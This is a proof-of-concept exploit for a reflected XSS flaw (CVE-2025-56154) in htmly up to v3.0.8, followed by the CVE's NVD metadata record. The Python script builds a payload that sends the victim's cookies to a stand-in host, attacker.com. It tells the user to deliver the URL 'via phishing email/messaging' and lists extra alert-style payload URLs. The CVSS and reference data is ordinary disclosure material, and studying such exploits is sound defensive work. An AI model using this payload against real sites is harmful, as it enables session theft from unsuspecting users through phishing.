CVE-2025-56154

## CVE-2025-56154 - htmly Reflected XSS PoC ## Affected: htmly <= v3.0.8 ## Endpoint: /author/:name ## Author: akinerkisa # Basic PoC - Cookie stealing via reflected XSS # The payload is injected into the /author/:name endpoint import requests TARGET_URL = "http://target-htmly-site.com" ATTACKER_SERVER = "http://attacker.com/steal" # Malicious JavaScript payload to steal cookies payload = f'<script>document.location="{ATTACKER_SERVER}?c="+document.cookie</script>' # Construct the exploit URL exploit_url = f"{TARGET_URL}/author/{payload}" print(f"[+] Exploit URL: {exploit_url}") print("[+] Send this URL to the victim via phishing email/messaging") # Verify the vulnerability response = requests.get(exploit_url) if payload in response.text: print("[+] Vulnerability confirmed! Payload reflected without sanitization.") else: print("[-] Payload not found in response. Target may be patched.") ## Alternative simple PoC URL: ## http://target-htmly-site.com/author/<script>alert('XSS')</script> ## http://target-htmly-site.com/author/<img src=x onerror=alert(document.cookie)>

{"cve": {"id": "CVE-2025-56154", "sourceIdentifier": "[email protected]", "published": "2025-10-02T16:15:34.773", "lastModified": "2026-01-20T18:16:04.927", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "htmly v3.0.8 is vulnerable to Cross Site Scripting (XSS) in the /author/:name endpoint of the affected application. The name parameter is not properly sanitized before being reflected in the HTML response, allowing attackers to inject arbitrary JavaScript payloads."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:htmly:htmly:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "1DC9B20D-4A16-40EA-8522-B7049331B704"}]}]}], "references": [{"url": "https://gist.github.com/akinerkisa/28e97fa132b1a98cff5d05a79b437901", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/danpros/htmly/releases/tag/v3.0.9#:~:text=Security%20fixes%20found%20in%20version%203.0.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://pastebin.com/dVityKmU", "source": "[email protected]"}]}}